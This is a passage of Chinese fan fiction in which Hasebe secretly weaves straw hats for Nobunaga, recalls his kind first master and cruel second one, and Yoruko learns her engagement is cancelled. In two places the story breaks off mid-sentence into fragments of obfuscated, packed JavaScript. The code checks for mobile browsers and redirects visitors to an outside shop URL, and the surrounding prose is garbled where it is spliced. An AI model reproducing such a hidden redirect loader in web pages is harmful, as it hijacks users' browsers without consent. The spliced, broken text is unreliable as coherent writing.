樱花雨从长谷部身旁骤然洒出,铺天盖地,把夜子整张脸都拍得满是柔软的花瓣。 夜子:……樱暴雪?! 34. 草织 信长的目光终于从斗笠移到她身上,似乎一瞬间明白了来源,“你做的?”他语气里竟带着一丝对长谷部的怜悯。 夜子小声点头,羞到耳尖都红透了,“是的。但是,如你所见,完全不能用,我下次再做个——” 话还没说完,信长便不急不徐地抬了抬下巴,打断她,“再做一个给我吧。” 夜子:“……诶?” 信长挑着眉,语气理所当然又带点戏谑,“怎么能先给自己的属下做,而不是父亲做呢?”他扫了长谷部一眼,笑得意味深长,“属下有的,父亲也该有吧。” 夜子差点被自己的呼吸呛到,羞得脚趾都要扣进地面里。 信长随意地靠坐在矮几旁,一双锐利的眼眸半眯着,像是在看一场小戏。他懒洋洋地问:“话说,你们前几天不是还不同意的吗?怎么今天会突然改变主意了?” 长谷部微微一震,像是被当场点破了心事。他抬头,却只来得及说一句,“是为了保护主——” “哦,”信长毫不意外地挑眉,“又一个被她迷住的人。” 长谷部整个人僵住。 他怔愣了一瞬,耳根肉眼可见地红了起来,像是被火突然窜上来似的。他情绪纠结得像打了死结,本能地想辩解,“我、我不是——主人的安危才是——” 信长连听都不想听,直接摆手打断,“罢了,我也懒得追究。” “当你做好了,我们就出阵。”他顿了顿,嘴角勾起一抹带命令意味的笑容,“要更好看、更精致的。” 夜子:…… 她还什么都没答应呢,虽然她也不会拒绝就是了。 而一边的长谷部的太阳穴突突直跳。 他紧紧攥着那顶歪得不能再歪的斗笠,指节被憋得发白,脸上勉强维持着礼仪用的冷静表情,实际上心里已经开始翻腾。 那个男人居然就这样理直气壮地向主人索要原本只有自己才拥有的东西。 没错,他知道现在的信长是主人的父亲。身份上,他完全没有立场反对。 可是——可是! 信长虽然口口声声父亲父亲地说着,几乎要和小乌丸一起加入父亲双人组,动不动就在主人面前压人气势、抢人台词,但任何一个有眼睛的都看得出来,他根本没有认真扮演父亲这个角色。 不像父亲的温柔,也没有父亲的体贴,甚至连父亲的端正都懒得装。他那副随心所欲、想到就说、喜欢就要的性子哪里像父亲? 要不是那个男人身份上姑且还是主人的父亲,他现在就已经挡在主人面前,把主人护得严严实实了。 由于主人就在旁边,他不能失态,但拳头上的青筋还是暴露了他的真实想法。 信长似乎终于察觉到空气里那股微妙到不能再微妙的紧绷,视线像是漫不经心般扫过长谷部,然后嘴角慢慢勾起。 糟糕。 夜子心里立刻拉响警报。 她已经熟悉信长想要作弄人的表情了。 “怎么?”信长不咸不淡地开口,却精准戳人,“不愿意父亲也拥有一份主人的心意?” 长谷部的背肌一僵,像是被人用指尖点中了死穴。他深吸一口气,却仍保持仪态,“……不敢。”看似恭顺,但每一个字都咬得极重,像用刀锋擦过牙关。 夜子连忙插话,想缓和气氛,“信、信长大人,我会努力把下次的做得更好的,只是我真的不太擅长——” “不擅长?”信长挑眉,看她脸红成一片,反倒笑得更愉悦,“那不正说明你是特地为了他,才愿意去学这种粗活的吗?真羡慕呢。” 长谷部:……! 信长像是故意不给他们开口的空间,“能让夜子亲手为你准备衣物,你的确比某些人幸运多了。” “信长公。”长谷部的声音压抑,像是用尽最后的自制力,然而沉稳的紫色眼眸里藏着几乎按捺不住的锋芒,“主人的心意,我自然珍惜至极。” “但请您不要随意揣测主人对我的想法。”事关主人的名誉,他不得不认真看待。 夜子整个人都紧张了,“长、长谷部……” 信长却丝毫没有退缩的意思,反而像是被激起兴趣般,向前一步,“哦?你是在质疑我?” 眼见气氛剑拔弩张,夜子连忙伸手抓住长谷部的袖子,只是轻轻一拉,他原本绷紧的肩膀便渐渐松开。 他低下头,深吸一口气,声音里再次恢复那种对夜子才会有的温柔,“主人,抱歉。” “无趣。”信长叹气后便转身离开,留下夜子和长谷部在寂静的房间里面面相觑。 “那我现在开始编斗笠?”夜子试探性地举起那堆看起来像是被踩过的草绳,一脸茫然。 长谷部第一时间摇头,幅度大得惊人,“怎么能让主人做如此辛苦的事。”他下意识往前一步,语气坚定得像在宣誓,“请让我为您效劳吧。” 想到要帮信长编织时,他的眼尾忍不住狠狠抽了一下。 他真的很、不、爽。 但对比起主人为了这种琐事劳心劳力,那一点委屈他愿意忍。 夜子眨眨眼,“可是信长大人说要我亲自编织。” 长谷部沉默了一秒,然后抬头,目光坚定,“只要我们不告诉他,他就不会知道。” 夜子愣住了两秒。 ……好像真的很有道理。 于是,长谷部坐在廊下,开始认真编草鞋。夜子乖乖地在旁边陪他蹲着,双手托着下巴,看着他认真的侧脸。 草绳在他手中不断收紧扭转,他的动作有点笨拙,又有点可爱。夜子忍不住有些担心,“长谷部,如果累了的话,可以先休息。” “不会累的。”长谷部微微偏过头,冲她露出一个安心的笑,“只要主人在我身边就好。” 但他嘴角温柔,手上的动作却完全不像一回事。他把草绳一把抓住,狠狠一拉,力道大得像把草绳当成绑着信长脖子的绳子。 草绳发出惨兮兮的抗议声,几乎要被他拉断。 不过奇迹般地,成品居然意外很好看,而且结实工整,与夜子做出的成品相比,可谓是一个天上,一个地下。 “好厉害,这也太漂亮了。”夜子忍不住夸赞道,“长谷部以前学过吗?” 她忍不住又偷偷看了他一眼。 长谷部刚才虽然表面上很不喜欢信长大人的样子,但实际上编织时非常认真。 其实他根本没有表面上那么讨厌信长吧? 真是口是心非呢。 夜子想到这里,不由自主地露出一个浅浅的微笑。 长谷部自然不知道夜子在想些什么被问得愣了愣,然后轻轻眨眼,像是被拉回过去,“啊……倒也没有,只是因为我的第一任审神者以前就是做草编的。” 他的声音变得柔和起来,“巧的是,他的名字就叫草织。”和草编根本就是同个意思。 夜子的眉眼弯起,像被这个名字逗乐,“真是个有趣的名字。” “是啊。以前还有人问他,是不是因为这个名字才去做草编的。”长谷部轻轻点头,笑意里带着丝怀念,“但他自己倒是很喜欢这个名字,总是让我们用这个名字称呼他。若是只叫他主人,他反而还会生气。” 他语气里有种温柔的怀念,“来到本丸后,他偶尔也会帮大家织些鞋子、帽子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875531|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说到这里,他轻笑了一声,“对待短刀们,就会专门编玩具,粟田口的部屋总是摆着长长一排的草编玩具。” 夜子看他眼里的光,也知道他是真心怀念那个大人。 “我身为近侍,总是在他身旁,自然也跟着学了一些。”他有些自豪地说道。 夜子听得出神,满心感叹,“听起来是位很好的大人呢。” 长谷部停下动作,指尖轻轻抚过刚编好的草鞋,“是啊……”他呼出一口轻得几乎听不见的气息,“所以第二位审神者的态度才会让人难以置信。” 他轻轻垂下眼,“明知道血缘无法决定一切,但仍然觉得不可思议。” “你的第二任审神者是草织大人的孩子吗?”夜子轻声问道,担心触碰到他的伤处。她垂下眼帘,心疼悄然在眼底蔓延开来。 这个可能性让她心口隐隐收紧。 若真是如此,长谷部心里该有多么撕裂和难受。 “不是。”长谷部闻言怔了一下,随即缓缓摇头,“草织的妻子和孩子很早就去世了,所以在他离世后,是他的侄子以血缘关系继承了我们的本丸。” “他从前提起他的侄子,总是非常骄傲。我们也都以为他会是个好主人,毕竟在草织口中,对方是个温和、聪明又可靠的人。” “但实际上,他们两人完全不同。” 他说到这里,情绪开始逐渐冷下来。 “草织不怎么在意刀剑的练度,也不在乎收集率。太刀只有烛台切和一期一振,他们也是少数已经极化的刀,所以担任了本丸主力。” 他缓缓闭了闭眼,“但第二任审神者非常在意这些。他看到本丸刀剑不多、练度不高、没有稀有刀就感到失望。” 夜子不由得伸手,覆上他的手背。长谷部微微睁大眼,像是被她的温柔击中心房深处某个最脆弱的地方,“主人……” 他垂下视线,“他长时间让我们出征、远征,这也没什么可抱怨的,大家都没什么怨言,毕竟变强、守护主人,本是我们的使命。” 他们原以为他只是严厉、只是要求高。原以为不眠不休地出阵,是为了锻炼他们、让他们成长。原以为只要再多努力一些,只要表现得更好一些,终有一天对方会露出一点点认可的神情。 本丸里的大家曾真心接受过草织的温柔,也天真地以为只要他们也以同样的忠诚和真心相待,新的审神者也会像草织那样,真心地接纳他们。 然而现实却不是那样。 “直到有刀剑开始消失后,我们才意识到……”长谷部轻笑,但那笑比哭还难受,“他究竟有多讨厌我们这些被继承的刀剑。” 那是从根上就否定他们存在意义的厌恶。 “我们拼命证明自己,结果在他眼里不过是碍眼的残留品,越努力越可笑。”他低声道,“或许他才是对的。” “才不是的。” 长谷部抬起头,微微睁大眼。 夜子认真地反驳,“你们不是残留品,也不是多余的存在。你们努力、坚持、愿意守护主人,这是你们的骄傲,不是错误。” “错的人不是你们,是他。”她抬起眼,直视长谷部的眼睛,想要把自己最真实的心展示给对方。 错的是糟蹋真心的人,辜负真心的人要吞一万根针。 为什么明明是被伤害的人还要把错误归咎在自己身上呢? “主人……”长谷部喉咙哽住,呼出的气都有些发抖。他指尖几乎要攥出血,却忍不住露出一点明显得近乎狼狈的心声,“如果主人认为我没有错,那就够了。” 只要你这么说,只要你愿意站在我这边,我就能继续相信自己没有错。 35. 婚约 过了几天,长谷部终于大功告成,把剩下的斗笠也全部编好了。最后一根竹条被他利落地收紧,他抬起头,额前的碎发因为方才低下头编织而微微散乱。 “好,”他轻轻呼了口气,神情带着难得的得意,“这样就能应付那个男人了。” 正巧这时,刚从训练场回来的夜子推开门。此时的她整个人累得连走路都带着一点点踉跄,背一阵阵发紧,手臂因为反覆挥刀而微微颤抖。 她抬手想把汗水湿黏的碎发拨开,却只抬到一半便皱起眉来,肩头无比酸痛,连这种小动作都让她忍不住倒吸一口气。 政宗和烛台切虽然对她很温柔,但温柔并不妨碍他们严厉,而夜子这几天活生生体验到了什么叫温柔且绝不留情的老师。 他们会耐心纠正她的姿势,也会毫不含糊地指出她哪里不足,更绝对不会因为她累了或可怜兮兮就放她一马。 对比起以往因为她公主身份而不敢直言指责的那些老师,他们两个是真正地想让她有所收获。 虽然烛台切与政宗较为熟悉,但考虑到他本体是太刀,毕竟没有打刀的实战经验,有些技巧无法完全给予指导,所以药研他们一开始还认真讨论过是不是应该让长谷部来训练她,但这念头只维持了不到三秒。 长谷部最近忙着编织,但更关键的是他那几乎溺爱到骨子里的态度,简直让同样把她放在心上的药研和烛台切都看不下去。光是想象他训练她的画面,他们就忍不住扶额。 别说严格训练,对方那种姿态根本不可能狠得下心出口纠正她,两人当场就把这个选项划掉了。 “我以前经常和小伽罗手合,对打刀还是有一点了解的,那还是我来吧。”烛台切如此表示后,夜子只能硬着头皮接受政宗与烛台切这对地狱组合的训练。 至于为什么不是宗三来教她? 他们似乎安排他和短刀们去树林里找某样东西。 宗三现在的体质特殊,不容易被溯行军发现,在隐蔽行动上和短刀们配合得最好,这项任务自然就落在他身上。 想到这里,夜子长长叹了一口气。 她明白这些疼痛都是正常的,为了不再成为任何人的负担,她只能咬牙继续。 而身心疲惫的她一回房就看到长谷部抱着斗笠和草鞋骄傲的模样,也被他的情绪所感染,本来压在肩背上的疲惫感竟像被人轻轻抽走了几分。 夜子忍不住轻轻笑起来,不由自主地温柔,“辛苦了。” “完全不辛苦。”长谷部立刻挺直背脊,语气甚至带着点小小的自豪,“为了主人,一切都值得。” 尽管这些斗笠不会真正交到主人手上。 想到这里,他的脸色微微垮下了一瞬。那点失落来得快,去得也快,他自己又迅速把心态给哄回来了。 不行,他一定要亲手替主人制作一个比给那个男人更好、更漂亮的成品。 长谷部在心里暗暗下定决心,随后似乎忽然想起了什么,“对了,主人之前是不是有事要跟那个男人说?要不要趁这次机会一起说?” “是的,”夜子的声音里满是尴尬,“当时完全被信长大人打乱了节奏。等我终于想起这件事时,他已经离开了。” 长谷部认真侧头,“主人原本是要说什么事?” “这个嘛……”夜子沉默两秒,“等下你就知道了。” 她露出有些苦涩的笑容。 * “真的是你编的吗?”信长接过斗笠与草鞋,眉梢微挑,毫不掩饰他明显的怀疑,视线在夜子脸上来回打量。 夜子心里咯噔了一下,但表面仍保持着仿佛什么都没发生的镇定。她挺直背,轻轻点头,“是的。” 为了让语气听起来更合理,她迅速补上一句,“不过,因为长谷部在旁边帮忙,所以工作轻松了不少。” 信长的目光顺势飘向长谷部。 长谷部整个人绷住,脊背瞬间挺得笔直,“是的,主人非常认真。” “帮忙?嗯哼——”信长眯起眼,慢悠悠开口,“你以为我会信?” 长谷部立刻低头行礼,声音极其诚恳,“我只是负责递材料、协助主人,绝不会越俎代庖。” 想到他编织时粗暴到要把草绳勒断的凶狠动作,夜子差点忍不住咳出来。 信长再度看向手中的斗笠,指尖摩挲了一下,沉吟片刻,“成品比我预想得要好很多。”他抬眼,带着意味深长的审视,“真没想到你还有这等手艺。” 夜子微妙一僵,努力挤出一个自然的笑,“是长谷部教得好。” 希望信长不要再追问下去了,她真的快撑不住了。 她不常撒谎,自然也不擅长撒谎,更何况信长总是给人很强烈的压迫感,在他面前仿佛没有谎言。 信长显然还想说些什么,但忽然想到什么似的,轻轻哼笑一声,“罢了。”他将腰间佩着的短刀解下,随意地放在桌上,“这是之前答应你们的。”他轻描淡写道,“拿去吧。” 他转身将斗笠挂在腰间,语气漫不经心,却带着命令的意味,“既然你都准备好了,那等你整装完毕——” 他看向夜子,唇角微勾,“我们就出阵。” “您的意思是我也要跟着去吗?”夜子指着自己,有些迟疑地问道。 信长连眼皮都没抬,理所当然道:“不然呢?” 长谷部刚要张口提出反对,但他还没说出口,夜子就已经爽快点头,“我知道了。” 长谷部:……?! 夜子转头向他露出明亮的笑,眼睛弯弯的,像是被点亮一般,“又可以一起出阵了,好开心。”她声音轻快,“我保证自己绝对会努力、一定能派上用场的!” 长谷部胸口被某种暖意猛地撞了一下,几乎要把刚才的担忧打散。可不过一会儿,他的眉间又迅速收紧。 勇敢的主人很可爱,但还是让人忍不住担心。 夜子没有到察觉他的心情,继续开心地说着:“不管是烛台切大人还是政宗大人都夸我进步很快!一次两次还可能是安慰,但都这么多次了,应该真的有一点进步了吧。” 她看着他,像是期待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875532|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被表扬的模样。 长谷部看着她那双亮晶晶的眼睛,心都软得像被泡开一样。 夜子说到一半,忽然皱了皱眉,忽然想起某件放在心里的小疑问,“就是不知道为什么,他们看到我用刀时,表情总是怪怪的。” 她转头看向长谷部,清澈的眼神里毫无防备,只是单纯地困惑。 长谷部的眉间微不可察地动了一下,“怪怪的?” “嗯。”夜子点点头,认真地比划着,“问烛台切时,他也只是说我的打法让他觉得很眼熟,可问他像谁,他又支支吾吾不肯说。”她的语气里满是困惑。 “不过既然他们没有纠正,那应该不是件坏事。”她笑了笑,“而且等一下长谷部也会见到的。” “等我们练刀的时候,你就会知道我最近到底练得怎么样了。” “嗯?就这样在自己父亲面前和别的男人谈情说爱吗?”信长慢悠悠地挑起眉,语气像是在开玩笑,却带着他居高临下的戏谑,“真是毫无警惕心。就算是父亲,也是会嫉妒的。” 夜子原本正低头想着话要怎么开,结果被他最后一句话说得动作一顿。她抬眼看他,神情满是无奈,“信长大人,别开玩笑了。” 信长与她对视,眼底没有玩笑的意味,“为什么我说的实话,你总是不相信呢?” 他说完便像是有意忽略她愣住的表情,转身欲走,“还有其他事吗?没有的话我就走了,不打扰你们两个继续甜甜蜜蜜了。” 夜子这才猛地回神。 糟糕,她差点把最重要的目的忘了。 经过之前几次的交流,她注意到信长不喜欢别人说话拐弯抹角,但偏偏他自己说话又总爱像谜语人一样,把人绕得晕头转向,让她不由得怀疑自己的判断是否有出错。 她深吸一口气,斟酌再三,决定还是把所有的委婉都丢掉,选择直接说:“我想延迟婚约。”语气干脆利落。 信长回头,目光锐利,“为什么?” 夜子心口微紧,却努力让自己的声音保持平稳,“现在还要应对鬼的袭击,不是适合完婚的时候。” 她的指尖无意识收紧衣袖。那只是其中一个理由,另外一个她无法开口的原因是未婚夫已经不是她认识的人了。 信长看着她,片刻后淡淡开口,“原来如此,那你不用担心了。半兵卫早就和我提过要退婚,我当时也答应了。” 站在一旁的长谷部反应最为激烈。 他猛然抬头,眼神里闪过难以置信与不满,“这也太失礼了!”他指尖轻颤,压抑着心中的怒意。 虽然他心里不认为世上有谁配得上主人,但对方居然在没与夜子商量的情况下就擅自提出退婚,简直是对主人的失礼。 夜子本人倒意外冷静许多。她眨了眨眼,先是诧异,随后心口却轻轻松了一大块。比起震惊,她更多的是松了口气。 毕竟这段婚约本就因身份的替换变得诡异,如今能解除,对双方都是好的。 她轻声道,“好的,我知道了。”语气甚至带着久违的轻松。